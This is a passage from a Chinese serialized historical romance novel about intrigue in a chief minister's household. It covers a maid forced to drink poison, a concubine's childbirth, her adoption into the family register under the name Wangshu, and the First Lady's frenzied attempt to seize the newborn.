呼唤声在耳畔响起,大夫人忽得回过神,抬眸看去,却见小桃站在一旁,小心翼翼地看着她,轻声道,“大人唤夫人过去,听雨阁的丫鬟禀告大人说……” “说什么?”大夫人蹙眉追问。 小桃犹豫良久,才迟疑道,“说是前来传话的丫鬟告诉徐姨娘,是夫人唤她前去正堂。” 此话一出,大夫人的心霎时跌入谷底,怔愣地看着小桃,可只失神片刻,她便意识到,周菱竟拖她下水,也摆了她一道。 大夫人面色紧绷,面无表情站起身,眸中未露出多少怯色。 知晓周菱还在她院中,未被大人唤过去,她命小桃给周菱传了句话,随后前去书房。 即使她做过,她也有一百种法子脱身,更何况她未做过,更不畏惧那人的审问。 只是不知为何,前去的路上,心还是跳得格外快。 书房。 男人手执文书,坐在堂前,大夫人推门走进后,上前行礼。 她是林府的夫人,而非此人的夫人。早在她嫁入府中的第一天,她便这样告诉自己。 那时两人之间虽无多少情意,但也算得上相敬如宾,直到那孽女死后,一切才变了模样。 她真真切切成了林府的夫人,而非此人的夫人,两人之间也再没有旁的情意。 大 夫人站在书房前,知晓他行事果决,既害怕他的责问,又病态般地好奇,这人是否会质问指责她,说自己令他失望,不配做他的夫人,变相地承认这人也把她放在心上。 但她等了许久,男人只眼也不抬地问她,她是否命周菱拽徐姨娘下水。 语气没有起伏,平淡至极,不带有一丝情绪,比古潭还要死寂,好似无论她做任何事,都掀不起这人心上的半分涟漪。 她早就准备好了说辞,闻言眸色深处的期待也尽数褪去,不紧不慢陈述。 说自己并未派人去唤徐姨娘过去,她顾及徐可心和昭明过去的情分,恨不得让两人再也不复相见,又怎会特意命人唤她过来,送昭明离府。 她的一番话直白赤裸,直把自己不堪阴暗的心思拿到这人面前,可饶是如此,对方依旧未露出旁的神色,只看着手中公文,眼也不抬地命她处理那两个丫鬟。 好似格外信任她,给她亲自接手此事,可她既然已经周菱背叛了她,她又如何会放过周菱。 她自认无情,可依旧不及此人。 周菱被扣押到私牢的路上,未哭未闹,也未拿之前的事情威胁大夫人,只面色惨白地蜷缩在牢房一角。 小桃方才告诉她,夫人说了,若她管不嘴,她的双亲也不必在府中做活了,不想连累他们的话,就把嘴闭紧,自行了断。 她入狱后没多久,一个小厮就端了一杯酒水过来,放在地上,“周姑娘,快些上路罢。” 小厮说完,未再多言,转身离去。 牢房中只余下她一人,周菱死死盯着地上的酒水,端起来,久久难以下咽。 忽得牢门外传来脚步声,手指一顿,周菱寻声看去,却见三姨娘挺着肚子快步走至她面前,隔着木栅栏嗤笑道,“我说周姑娘,之前不是风光的很吗?怎么沦落至此?” 她环视四周牢房,嫌弃地抬手,在面前装模作样地扇了扇,“一股子潮湿气,还真是令人晦气。” 三姨娘说完,见周菱面色僵硬好似痴傻一般,收起脸上的笑意,睨着她道,“害人害己,周姑娘有意伤旁人的孩子,自然也应得到报应。” “你同春熙斋那女人一样,是个阴毒狠辣的,尽做些伤天害理的事情,让人恶心不耻。” 三姨娘站在牢门外,斥责不停,把当初未对四姨娘发泄的怨气一并发泄到周菱身上,她说了良久,直到口舌干燥,才堪堪停止。 “呵,虽说你们二人散尽天良,不过那人已经死了,你也没了活路,想必今后府中终于能安宁几日,不会再有人受你们的暗算。” “我说周菱,你老实本分地做个丫鬟不好吗?非要不自量力爬上大人的床,往日不用正眼瞧人,一个丫鬟罢了,装什么清高,令人恶心。” “你做的事太过狠毒,连大夫人都看不过了,要送你上路……” 知晓周菱没有翻身的机会,三姨娘也未收敛,一直苛责她。 她话语不停,说得正起劲,却见一直沉默不语的周菱忽得抬起头,死死盯着她。 “她看不过去?我只是想成为主子,并未存心害人,要论狠毒,谁成同她相比?” 她的目光过于直白,好似地府阴鬼一般,令人心生胆怯。 四目对视,三姨娘方要斥责她死到临头还这般傲气,可等听完周菱之后的话,她身子一僵,忽然意识到不对劲。 她方要开口追问,却见周菱已经端起酒杯,一饮而尽。 只过片刻,周菱面上的血色就尽数褪去,她攥着酒杯,直直盯着三姨娘,没有征兆地张口,隔着木柱子,直接吐出一大口血。 暗红发黑的脏血直接喷溅在她的衣裙上,三姨娘躲闪不及,衣裙被脏血染上不说,脸上也被溅了几滴。 她只僵硬在原地,良久未动,直到周菱死不瞑目地倒在地上,她才霎时回神,慌乱地带着丫鬟离开地牢。 要论狠毒,谁能同她相比…… 此人是谁不言而喻。 直到回了颂兰苑,三姨娘才彻底回神,双腿颤抖不停,看向一旁随行的小厮,令他不得说出方才之事。 小厮自她入府后,就一直陪在她身侧,为她做事,也听出周菱方才话里的深意,闻言微微颔首。 今日之事是大夫人的手笔…… 听雨阁。 徐可心醒来时,已是隔天,她缓缓抬眼,看着虚空,还未彻底回神。 直到听到屏风后的哄慰声,她才霎时清醒,唤丫鬟过来。 听到她的传唤声,丫鬟匆匆走进,见她醒来,先是问了她的身子可有不适,待知晓她想见孩子后,丫鬟忙不迭唤乳母进来。 徐可心躺在床上,紧张地看向屏风后,随着脚步声靠近,却见乳母抱着一个粉白的婴儿走了过来,笑着走至她面前,“姨娘生下的是位千金。” 粉面团子蜷缩在她怀里,咬着手指头无意识吸吮,徐可心盯着安睡在乳母怀中的孩子,只觉心软成一滩水。 徐可心小心伸手,将孩子抱在怀中,学着乳母的样子,小心地环抱着她,隔着襁褓轻轻拍着她的身子。 女婴蜷缩在她襁褓中,本来在安睡,好似察觉到什么,忽得睁开眼,睁着一双大大的杏眸,眨也不眨地盯着她看。 徐可心眸色一怔,大气都不敢喘,小心地看着她,不敢出声吓到她。 女婴缩在她怀里,无声看了她半晌后,忽得微微张开口,小声念着什么。 徐可心以为她在同自己讲话,下意识求助地看向一旁的乳母,问她说了什么。 乳母见状,哭笑不得,“姨娘,小姐这是饿了,应喂奶给她。” 徐可心闻言,霎时面色一红。 对,她忘记了,她的女儿才刚生下来,如何会讲话。 小孩还在张着嘴,睁着眼睛看着她,迟迟等不到她的回应,小孩忽得胡乱抬手,拽住她身前的头发。 一旁的乳母轻声道,“姨娘昏睡一天一夜,小姐刚生下来,还未尝过母乳的滋味。” 听到耳边的话,徐可心犹豫半晌,微微点头,命她们退下后,抬手扯开自己的衣服,小心地抱着她。 女婴埋首在她怀里,一边吃奶,一边攥着她的头发,只安静吮吸,并未哭闹。 徐可心见状,心上的紧张也稍稍褪去。 徐可心环着女儿的身子,轻轻拍打她的后背,不敢开口吵到她。 忽得门外传来脚步声,她以为来人是房中的下人,并未留意,等听到丫鬟唤了一声大人,徐可心才霎时回神。 徐可心慌乱地看向怀里的女婴,哄着女儿想让她松口,可方回了母亲怀里,小孩攥着她的头发怎么也不愿松开。 屏风后传来脚步声,未等她躲闪,男人已经抬步走进,她此刻半裸身子喂奶的模样直接暴露在林远舟面前。 见他驻足在屏风前无声地看着自己,难言的羞耻霎时蔓延在心间,徐可心下意识背过身,不敢再同男人对视。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 对方单站在那里,目光不紧不慢落在她裸露在外的胸膛上,眼底无戏谑之意,一贯的平静,但徐可心还是感觉浑身不自在,好似有蚂蚁在身体里四处攀爬一般。 身子不好受,但又不知晓哪里不好受,不知晓缘由,但总归还未准备好让这人见到她眼下这般……喂孩子吃奶的模样。 她抱着怀中的孩子,下意识微微背过身子,回避林远舟的目光。 怀孕时每日期盼担忧腹中的孩子,还不觉得自己同过去有何不同,等真真切切生下女儿后,才有了初为人母的实感。 好似有什么无形的东西隔在两人之间,让她无法羞于面对此人,无法再同之前那般依赖讨好。 小孩饿得急,但刚生下来没多久,困得也快,方张着嘴砸吧砸吧几声,就趴在她怀里沉沉睡去,不舍得松口,也不舍得松开她的头发,好似知晓眼前之人是她的母亲,整个人蜷缩在徐可心怀里,睡得很安稳。 徐可心见状,目光也不自觉落到怀中的女婴身上,环着她的后背轻拍她的肩膀,常年紧抿的唇角也终于微微扬起。 等到身后脚步声靠近,冷香袭进,蔓延至她身侧,她脸上的笑意才霎时僵在 脸上。 徐可心僵着身子,缓缓低下头,默默扯着衣服挡住露在外面的身子,扯到一半碰到小孩的脸,又停下手。 “可心很喜欢她?”没有起伏的问话在耳边响起,两只手臂从身后伸来,环住她的肩膀。 温热的呼吸落在耳边,徐可心垂着眼睛,含糊地嗯了一声。 这是她的女儿,她当然喜欢。 男人站在床边,轻轻环抱着她的肩膀,轻吻她的耳垂,未再说什么,同她亲近的姿态同往日一般无二,未因她眼下憔悴的模样而有所改变。 徐可心垂着眉眼,被他安抚地吻了半晌,才放下心中没来由的顾虑,微微偏过头,看着坐在自己身侧的男人,凑上去轻轻吻他的唇,俯下身靠在他怀里,一直绷紧的心弦终于放松。 她本以为又要失去在意的人了,还好她的女儿未舍弃她,安然无恙地来到她身边,徐可心埋首在他身侧,沉默良久后,终于伏在他怀里小声哭了起来。 徐可心靠在他怀里,声音哽咽道,“我很害怕,我以为再也见不到她了……” 她已经失去太多太多了,不能再失去她的女儿了。 她靠在林远舟怀里,胡乱地向他倾诉,把自己那日的恐惧尽数讲了出来,告诉他,丫鬟唤她离开,将她推在地上…… 她未曾想过对方会为她做什么,她只是需要一个人倾诉,需要一个人知晓她那日的无助,知晓她的恐惧,只把这些全都讲出来,她才能确认,她未失去她的女儿。 小孩喝了奶,吃饱了就犯困,徐可心靠在男人怀里,哭得累了,也觉头格外昏沉,靠在他怀里不知不觉睡了过去。 房中安静无声,林远舟垂眸,看着依偎在他怀中沉睡的女人。 整个人全身心依赖地靠在他怀里,抱着他的孩子,好似把一切倾注到他身上,再也未想过去寻旁的出路,格外孱弱无助。 若他无所为,这人只会守在方寸之地,如囚笼困兽一般独自舔舐伤口,任人站在笼前用刀穿过她的身体。 他无声注视怀中女人疲惫的睡颜,忽得头发被扯住,林远舟抬眸看去,却见不知何时,埋首在徐可心怀中的女婴睁开眼睛,攥住他垂在身前的头发,睁着眼睛好奇地看着他。 未过两日,这孩子便学会睁眼,也未因早产而身子孱弱,同足月的孩子一般无二,还未生下时,可心便格外在意她,眼下能安然无恙,也不足为奇。 林远舟抬手,不紧不慢从小孩手中拿回自己的头发,方要收回手,小孩复又扯住他的手指,要塞到口中吮吸。 “鬼童不成?这般活泼……” 他低声开口,还未等说完,怀中人忽得微微挪动身子,隐隐有清醒的征兆。余下的话停在口中,林远舟半阖眉眼,未再继续说下去。 “大人,何为柜筒?”徐可心缓缓抬眸,还未彻底清醒,无意识追问。 “闺英闱秀,同花似水,为夫之愿。”林远舟面色如常,不紧不慢道。 徐可心闻言霎时清醒,眸色微亮,“大人也喜欢她?” 林远舟淡淡瞥了一眼她怀中的女婴,未回答她的话,轻声提醒,“她还未有名字。” 徐可心闻言,也才想起她的女儿还没有名字。 她未见过林家族谱,不知晓女儿排到哪个字,想依那兄弟二人的名字推出女儿的字,才发觉他们并非同字。 徐可心面露困惑,抬眸看向身旁的男人,问他中间的那个字应是什么。 林远舟揽着她的肩膀,不紧不慢攥住她的手腕,环着她的身子在她手心上写下一个“青”字。 青?既不是怀,也不是昭,而是青…… 徐可心心中困惑加重,但未追问什么,那两人的事情同她无关,正院之事也非是她一个妾室可以染指的,她压下心中的不解,看向怀中的女婴,却见女儿也在看她。 四目对视,她忽得想起那个走马观花的梦。 蔌蔌落红都尽,依然见此清姝。 复又想起方才大人那句同花似水,徐可心思索半晌,轻声道,“大人,青姝如何?取自姝丽无双之意。” 她的女儿于她而言,自然是天底下最姝丽的女子,一切美好都与她相称。 她期待地看向身旁的男人,可对方只随意地说了一声极好,“只依可心的。” 既未否决她的话,也未给她旁的提议,仔细深究下去,就能发觉他对此事并不上心。 徐可心微微蹙眉,想责怪对方不在意女儿,但她又的确喜欢自己刚想出来的名字,在责怪与不责怪之间犹豫良久,最后只不满地唤了一声大人。 林远舟随意地应了一声,低头轻轻吻了一下她的耳垂。 见青姝还在睁着眼睛看着他们,徐可心面色微红,微微低头躲过他的吻,怕他在女儿面前再做旁的事情,徐可心含糊道,“大人,青姝有些饿了,大人姑且回避片刻可好?” 男人闻言,不仅未离开,反而顺势吻上她的脖颈,低声道,“为夫好似闻到了甜腻的奶香,不知从何处透出来的,不知可心是否知晓?” 男人语气格外平静,好似真得不知晓香味从何而来,认真问询她一般。 徐可心闻言,杏眸霎时瞪大,不满地看向他。 耳边霎时响起一声轻笑,“青姝有乳母喂养,可心不必亲自照顾。” 他不紧不慢说完,传丫鬟进来,命丫鬟将青姝抱走。 待屋内只余下他们二人,对上男人落在她身前晦涩莫深的目光,徐可心顿觉心跳一滞,下意识扯过衣服挡住身前光景,慌乱道,“大人在看什么?” 林远舟闻言,不紧不慢抬手,攥住她的手腕,未用什么力气便扯开她的衣服,单膝跪在她身侧,轻声笑道,“并未看什么,只是记得书中曾讲过,有女子壅乳,经络不畅,为夫方才只闻奶香,未见乳水,恐可心胀痛难耐,想为可心医治一二。” 他说的有理有据,但不知为何,徐可心总觉得大人在一本正经地哄她。 不过她初次有孕,也不通晓医术,根本无法分辨大人到底真得关心她,还是编撰谎话哄她玩。 徐可心面色涨红,紧抿着唇,犹豫良久才问,“不知大人要如何医治?” 林远舟轻轻叹息,单手撑在她身侧,俯下身,唇贴着她耳侧,轻声道,“所谓医治之术,并不高深,无非寻一人效仿稚童,尽吮其乳,便可缓解胀痛。” “如今四下无人,为夫代为效劳即可。” 话落,徐可心霎时抬眸,不可置信地看向自己面前的男人,却见他眉眼上挑,眼底带着不加掩饰的情欲。 四目对视,徐可心只觉心上窘迫至极,身子也不自觉酸软。 她算是看清了,这人哪里是要为她医治,分明就是在戏弄她…… 第62章 徐可心平躺在床上,轻轻环着身前男人的头,望着头顶的虚空,羞耻于他的轻佻,但又实在难以推开他。 她抬起手臂挡在面前,咬了上去,压住口中难言的窘迫。 徐可心正失神之际,揽住她后背的手忽得上移,贴上她的腹部。 她身子一僵,下意识想要扯开林远舟的手,可男人只轻轻抬眸看了她一眼,依旧抚上她些许塌陷的腹部。 她身子丰腴,生了孩子后肚子依旧光滑,未留下纹路,可不再紧致,软塌塌地落了下去,看起来格外怪异。 徐可心难以接受自己腹部的变化,也不想让林远舟看见她累赘的肚子…… 眼下男人的手贴在上面,同往日那般轻轻按揉,徐可心紧张地攥着他肩膀的衣服,生怕他面上露出嫌弃之色。 徐可心身子僵硬,紧紧盯着身前男人的面色,却见林远舟眸色平静,撩开她的衣服,用掌心覆着她塌陷的肚子不紧不慢抚摸。 见他不 介怀,徐可心稍稍松了口气,但心上仍难以接受自己塌陷的肚子,扯着他的手腕,小声道,“大人不要再摸了……很难看……” 徐可心微微偏过头,不再看他。 若在过去,她的肚子光滑紧致,这人喜欢抚摸她的腹部也就罢了,可眼下这般丑陋,她不想让大人继续抚摸,也不想让他看到自己不堪的一面。 徐可心半阖眉眼,未用什么力气,就将男人的手腕扯到身侧,她方疑惑为何这般轻松时,腹部忽得传来温热的触感。 她怔愣地看过去,却见男人俯下身,低头吻上她的腹部。 唇贴上去那一刻,徐可心大脑一片空白,眸色呆滞,良久未回过神。 直到被人抱在怀里,安抚地吻着她的脸颊,徐可心迟钝地伸手回抱住男人的肩膀,埋首在他怀里阖上眼睛,任由对方为自己擦拭恶露。 整个人乖乖地依偎在他怀里,小心抬眼看着他的侧颜。 大人面上总是一副漫不经心的模样,好似对什么都不上心,可照顾她时又格外细致体贴。 她从未在这人脸上看到过厌烦的神色…… 生了孩子后,徐可心总觉得两人之间有了孩子,她不能再像以往那般同大人置气,学会如何做一个好母亲,可只被他抱在怀里哄了半晌,徐可心又觉得,两人之间好似同以往一样,并未改变什么。 她依旧是大人的妾室,可以依赖大人,受他照顾,而大人依旧是她的夫君,未因她生了孩子疏远她。 好似在这人面前,她可以永远做个无忧无虑的妾室,不必去学什么经文讨他喜欢,也不必去做任何事,只要陪在大人身侧,做她自己就好。 同他所说的那般,只知闲趣行乐即可……徐可心疑心自己已经彻底无法离开他。 早在她产子当天,她生了一个女儿的消息就传遍了整个林府,各院心思各异,但无一例外松了口气。 得了宠,但没有儿子傍身,哪怕被宠到天上去,也不足以受人忌惮。 一众下人暗中也惋惜她未生下一个男丁,只生下一个不中用的。 徐可心不知晓旁人如何想她和青姝,只每日抱着粉面团子,越看越喜欢。 刚生下那几日,小孩皱巴着一张脸,怎么看怎么丑,徐可心还为此难过许久,害怕女儿长大后因容貌受人嘲笑。 乳母告诉她,刚生下的孩子都这样,让她不必担心。 可徐可心心上仍不是滋味,她因身形受人嘲弄,不想女儿同她一般,也平白遭受旁人的指点。 她甚至想着要不要请个江湖术士为青姝易容,得了一副好容颜,先不提会不会受人喜欢,起码不会因此卑怯。 直到小孩的脸稍微长开了,面庞变得粉白光洁,徐可心才彻底松了口气。 不过…… 徐可心坐在床前,抱着怀里的孩子,抚着她的小脸仔仔细细察看,又时不时抬眼看向坐在自己身侧看书的男人,面色不解。 青姝的眉眼怎么和大人如此相似,连唇瓣也如出一辙,削薄寡淡……整张脸没有一处像她的地方。 徐可心紧抿着唇,心上稍稍有些不满。 分明从她肚子里出来的,不像她,只像大人,徐可心垂眸看着埋首在她怀里眼巴巴看着她的女儿,忽觉心口格外沉闷。 她抬手轻轻捏了一下小孩的面颊,轻声道,“小没良心的。” 她不满自己生的女儿不像她,但见青姝长得像大人,她又不自觉松口气。 若青姝长大后同大人那般容貌昳丽,总归比像她要好一些。 她抱着孩子,自己同自己生了闷气,又把自己哄好,坐在她身侧的男人无声看了她半晌,命乳母进来带走青姝。 徐可心还想再陪青姝玩一会儿,但对上男人没有情绪的目光,她又收回口中的话,微微俯身,主动靠在男人怀里,讨好地轻轻吻了一下他的唇角。 林远舟揽着她的腰,淡淡地看了一眼她讨好的神色,未说什么,将手中的书递给她。 徐可心伸手接了过去,翻开后才发觉这本书是林家族谱。 她下意识翻到末页,去寻男人的名字,可等翻到那页,徐可心却眸色一怔。 只见林远舟下面单写了一个“林望舒”的名字,既没有林怀瑾的名字,也没有林昭明的名字,而“林青姝”三个字被写在林望舒的下面。 徐可心眼神困惑,她不记得大人还有别的儿子,而且为何青姝的名字被写在旁人名字的下面? 林府单有两位公子……这林望舒是谁? “过几日命人寻一个吉日为可心改姓,不知可心是否钟意此名?” 男人面色平静,好似并未认为有何不对,徐可心听完却瞪大眼睛,不可置信地看向自己手中的族谱。 林望舒是她? 可此名分明被写在林远舟三字的下面,要论起身份……她成了大人的女儿! 徐可心紧攥着手中的族谱,怔愣良久,才倏地转过身,扑在男人怀里,扯开手中的族谱,直言道,“为何妾身是大人的女儿?” 而且那日为青姝起名时,这人给了她一个青字,可族谱上下一个字分明是望,而青在望之后。 她心上越发不解,盯着男人看,想要一个解释,可男人面色如常,顺势环住她的腰将她抱在怀里,淡声道,“可心不愿做为夫的女儿?” “自然不愿!” 徐可心霎时坐起身,坐在男人的腹部上,将族谱拿到自己身前,抬手指着林望舒三个字,“大人那日只说为妾身改姓,未说将妾身写入族谱。”还将她的名字写在林远舟三个字下面。 她只是改姓,可现在对方分明要认她做女,这……太胡闹了,徐可心一时有些难以接受。 她坐在男人身前,轻轻戳了戳林望舒三个字,试图表现自己的抗拒,可对方不仅未意识到自己的不对,反而轻笑一声,环着她的肩膀将她压在怀里抱住,轻轻拍她的后背,柔声道,“成了为夫的女儿,可心便是林家的千金,从今以后在林府,可心不必受旁人管教,只听为夫一人的话即可。” “怀瑾昭明二人,乃至夫人,皆无人有处置可心的权力,如此可心也不愿入族谱?” 男人低头贴着她耳侧,轻声解释,话里莫名带着几分诱哄的意味,徐可心埋首在他怀里,忽觉耳朵有些痒,她微微偏过头,攥着手中的族谱,也不抗拒了,沉默半晌,头也不抬地轻轻嗯了一声。 女儿罢了,单一个虚名而已,总比受人管教要好。 徐可心在心上默默劝解自己,过了良久,忽然想到女子不得入族谱,她才稍稍抬头,看向身前的男人,犹豫道,“不过大人……妾身身为女子,也可入林家族谱吗?” 林远舟未立刻为她解惑,反而轻轻抚着她的侧脸,漫不经心道,“不知可心以何种身份问询?” “若是妾室,此事自有为夫的考量,可心不必知晓,若是女儿,为父愿为望舒解惑。” 听着耳边不正经的话,徐可心面色一红,彻底说不出话了。 对上男人轻佻的目光,难言的窘迫霎时蔓延至她心头,令她良久无言。 徐可心阖上眼睛,泄气地趴在男人怀里,含糊地嘟囔了一声望舒两个字。 她本以为这样说,对方就会告诉她缘由,可轻笑声再次在耳边响起,“若是女儿,望舒总应先唤为夫一声父亲。” 他语气没有起伏,没有半分调笑之意,徐可心听完却面红耳赤,忍不住在心里骂了一声无耻。 她不明白,这人为何能如此恶劣, 分明平常总是一副清心寡欲的模样,可在私下,言行都极为恶趣味,哪里有当朝首辅的样子…… 徐可心面色羞耻,迟迟不知如何开口,可林远舟只环着她的腰,面色格外耐心,好似今日她不开口就不会放过她一般。 徐可心只觉浑身燥热难耐,被这人的话折磨得羞耻至极。 第63章 徐可心不想唤他父亲,她扶着男人的肩膀跪起身,向床边爬去,刚膝行两步,又被攥着脚腕抱了回去。 抵着身下结实的胸膛,徐可心眸光躲闪,含糊道,“妾身不愿知晓了。” 太难为情了,她如何能唤自己的夫君父亲…… 徐可心喊不出口,可男人揽着她的腰,眉眼上挑,低笑一声。 “可心不愿知晓,为夫却想听可心唤一声父亲。” 对上他眼中的笑意,徐可心僵着身子,想跑但又被紧紧攥住脚腕,哪里也去不得。 整个夜里,她被翻来覆去折腾了一遍。 碍于她的身子,对方未彻底占有她,只苦了她的唇。 她不开口唤出父亲二字,这人就不放过她,她难受得紧,被折磨得头皮发麻,临到最后,实在难以忍受男人的孟浪,跪在床上委屈地唤了一声父亲。 男人浑身沁着热汗,闻言轻笑一声,不仅未放过她,反而攥着她的腰,抚着她的侧脸,俯身在她耳边诱哄道,“好可心,为父方才未听清,再唤一声。” 徐可心紧抿着唇,心上窘迫至极,对上男人调笑的目光,终于忍不住哇的一声哭了起来。 若在平常,这人早就抱着她哄慰了,可偏偏眼下在床上,男人还得了趣,见她哭了,不仅未放过她,反而复又有了反应,用力按揉她的后脖颈,将她按在怀里用力抱紧,餍足地喟叹,“可心原是水做的,受了委屈就要哭,可为夫只想听可心唤了一声父亲,并未强求可心旁的事情。” “如今只有你我二人,并无旁人,可心不必在意繁文缛节,只再唤为夫一声父亲,今后可心便是为夫唯一的女儿。” 男人俯身轻吻她的耳垂,声音低而哑,格外好听。 徐可心眼下头脑昏沉,鬼使神差地,她复又唤了一声父亲。 开了口,破罐子破摔,整个夜里,该说不该说的都被他诱着说了一遍。 徐可心直觉自己快要被这人逼疯,临昏睡前,趁男人餍足,才立刻开口,求男人改了族谱,她不想做这人的女儿。 林远舟尽了兴,也未再同之前那般折磨她,揽着她的腰,将她抱在怀里,攥着她的手腕,用毛笔在林望舒三个字上面划了一道,复又在林远山之后写上林望舒三字。 “望舒月御,高悬于空,木舟远渡,月影相随。” 男人的话在耳边不紧不慢陈述,徐可心本混沌的思绪稍稍清醒,她盯着林望舒三字,忽得想起过往。 父亲不喜女儿,一直想要个儿子,她和小妹的名字都是母亲想的,她名唤念心,小妹名唤念安,凑在一起便是心安。 可父亲对她们严加管教,一直难以心安,她被管教成温顺的性子,每日小心度日,生怕惹父亲不快,与她相反,小妹抗拒父亲的管教,愈发逆反,因此备受责罚,总是被打得满身伤痕。 那年她生辰,恰巧晚间城中有灯会,小妹知晓她想去,不顾宵禁,带她偷跑了出去,两人在城中赏灯乘船,偷得半日快乐。 可等两人回府,却见父亲早就等在府内,斥责她不守规矩,带着小妹胡闹,要命下人惩戒她。 小妹气急,不满父亲的惩戒,出言顶撞他,说全是她一人的主意,是她贪玩,央求阿姐带她离府。 父亲本就不满小妹的逆反,将所有的过错全都算在小妹一人头上,任由她如何祈求解释,父亲也不愿收回成命。 她去寻母亲,想求母亲为小妹说清,可母亲无奈地看着她,说她不应陪念安胡闹。 念安被打得浑身是伤,卧床数日,她守在念安床前,哭得泣不成声。 小妹扯着她的手腕,见她哭得难过,说自己不疼,很快就会痊愈,让她不要担心。 那夜之后,她便知晓了,心安二字于她而言根本是可望不可即的,倒不如可心二字,只要温顺就可以免于责罚,可以不让在意的人因她受到牵连。 不知是不是她的妄念,自她名唤可心后,日子的确平顺些许,可心两个字压在她头上,就像一条链子,约束她的一切,在笼子里面走,总不会受到惩戒。 望舒月御,高悬于空。 她一直认为自己深陷沼泽,从未逃离过,可如今大人为她起名望舒,认为她是天上月。 徐可心盯着林望舒三个字,这次真真切切忍不住想,若她最开始遇见的人是大人就好了。 思及此,徐可心眸色一怔。 这人认她做女,也想……早些遇见她。 她自幼时起便小心行事,生怕出了差错,原因无他,只因她既没有抗拒的底气,也无人为她撑腰。 大人唤她望舒,将她视为天上月,她忽然也不想在沼泽中挣扎了,她想彻底摆脱,完完全全摆脱。 她过去一直以为,只要离开某个人某个地方某个笼子,她就可以离开泥潭,可往往总是很快陷入另外一个沼泽。 旁人虽用笼子套着她,但不能真得困住她。 真正的笼子其实一直在她自己身上。 她是可心,但她如今也是望舒。 徐可心不记得自己何时入睡,只记得今夜依偎在男人怀里,心绪格外安宁。 得了新的名字,好似得了新生一般。 府上众人只知晓大人要为徐姨娘改姓,本以为足够出格了,没想到大人还命人将徐姨娘写入族谱。 旁人只认为徐姨娘得宠,可大夫人听后却彻底变了脸色。 她的两个儿子还未成家立业,不得入林家族谱,她这些年来数次提起,大人一直不应,现在大人却将一个外姓女子写入林家族谱。 大夫人紧攥帕子,终于难以压制心中怒气,动身前去听雨阁。 自这女人入府后,怀瑾昭明接连受她牵连,还同大人生了嫌隙。 大夫人加快步子,她倒要看看,这女人到底是生了个什么如意宝贝,惹得大人这般纵容她。 听雨阁。 徐可心正抱着青姝,拿着拨浪鼓哄她玩时,丫鬟连门都未敲,匆匆跑了进来,急忙道,“姨娘,大夫人来了。” 话音刚落,徐可心摇拨浪鼓的手一顿,面上的笑意尽数褪去。 如今还未足月,她无法离床,徐可心抱起青姝,方要命人将青姝带下去,大夫人直接推门走进。 见大夫人紧蹙着眉,徐可心微微抿唇,唤了一声夫人。 女人从进来后就没什么好面色,明显一副问责的模样,可在看到她怀中的女儿时,大夫人骤然质问道,“这孽女怎么在你这里?” 徐可心不明白她的意思,但见她面色难看,下意识抱紧女儿,将她护在怀里,“夫人,她是妾身的女儿,自然陪在妾身身边。” 她温声解释,可对方只站在原地,紧紧盯着她怀中的女童,良久未移开目光,眼神直白渗人,好似在看仇人一般。 徐可心直觉不对,抱紧女儿的手臂下意识用力,她方要岔开话,问大夫人今日为何前来,却见女人忽然大步上前,伸手就要抢过她手中孩子。 “什么你的女儿!她分明是孽障,是不得入轮回的畜生,她早就死了,为何在你这 里!” 大夫人神色癫狂,好似失控一般。 徐可心早就提防着她,忙不迭转过身,躲过她的手,蹙眉道,“夫人,青姝是妾身的女儿,并非旁人,夫人认错人了。” 她解释不停,可大夫人根本不听,只面色紧绷,双眸瞪得浑圆,好似要吃了青姝一般。 “我说为何最近坏事不断,原是你这孽女回来讨债了,眼下还投到别人的肚子里,我只告诉你,你就是个没用的东西,就该死,怪不得旁人,也没谁欠你的。” “要怪就怪你自己,偏是个没用的女婴,若你是个男婴,又岂会受人厌烦。” “你就该死!你就该死!你就该死……” 大夫人抢夺不成,好似魔怔一般,复又扑了过来,紧抓着襁褓不松手。 徐可心眼下还未彻底恢复,身上没有力气,险些被大夫人夺过去,她俯下身,紧紧抱着青姝,生怕一松手,孩子就被她抢走。 乳母和丫鬟见状连忙上前阻拦,但碍于身份,费了半天力气谁都未拦住大夫人,而大夫人也好似突然中邪一般,目光狰狞,无论如何也不松手。 随她一齐前来的小桃见状,见她突然癫狂,忙不迭上前道,“夫人看清,此女是徐姨娘的女儿,并非长小姐。” 几个人一同劝着,可无论她们说什么,大夫人都不松手。 小孩被吓到,也大哭了起来。 众人乱成一团时,一个丫鬟走进来,“姨娘,大公子来了。” 林怀瑾本站在门外等下人传话,忽得听到屋内传来母亲的声音,他眸色一怔,快步走进,却见几人乱成一团。 “母亲!” 他放下携带的东西,快步上前,见母亲扯着徐可心怀中的孩子不松手,他抬步挡在徐可心面前,“母亲这是在做什么?” 大夫人本面色狰狞,看到林怀瑾的瞬间,身子一僵,随后连忙扯住林怀瑾的手臂,指着徐可心怀中的青姝慌乱道,“怀瑾!这孽女回来讨债了!快杀了她!杀了她!” 林怀瑾攥住她的肩膀不松手,看了眼躲在徐可心怀里哭闹不止的孩童,皱眉道,“母亲先冷静!徐姨娘方产子还未痊愈,不应受惊。” “此女是徐姨娘的女儿青姝,并非长姐。”林怀瑾挡在徐可心面前,攥着大夫人的肩膀,一遍又一遍地重复道。 过了良久,大夫人终于停下身子,怔愣地站在原地,直愣愣地盯着她怀中的孩子。 徐可心紧紧抱着孩子,看着面前的高大背影,紧绷的心弦终于松了下去,她不解地看向大夫人好似痴傻一般的面色,分明来时还带着怒气,为何一见到青姝就霎时变了模样。 还有这人口中的孽女到底是谁?徐可心身子颤抖,只觉心跳得厉害,好似要蹦出来一般。 第64章 林怀瑾站在她身前,攥着大夫人的肩膀,一遍又一遍地不断耐心解释。 本来好似中邪一般的女人终于稍稍平静下来,大夫人站在原地,紧抿着唇,死死盯着青姝,目光直白阴鸷,同看仇人一般。 徐可心将小孩紧紧抱在怀里,见状下意识用手覆在青姝的眼前,挡住大夫人看向她的视线。 小孩还小,如何能受得惊吓。 见她终于冷静下来,徐可心直言道,“夫人,青姝为妾身所生,并非旁人的孩子,还望夫人辨明。” 入了族谱,往后她不单是大人的妾室,还是林家的千金,她如今也不必再怕此人。 想起早产之事,她心上也不自觉生出几分怒气。 这人的丫鬟算计她,意图拖她下水,险些害她失了孩子,眼下这人又跑到她房中,不由分说要抢走青姝,徐可心早就对大夫人不满。 见她仍站在那里不走,她垂下眉眼,冷声下了逐客令,“夫人,眼下妾身身子不便,难以招待夫人,夫人快些离开罢。” 小孩趴在她怀里哭喊不止,徐可心听在心里,心尖也不自觉抽痛,只想快些赶她们离开。 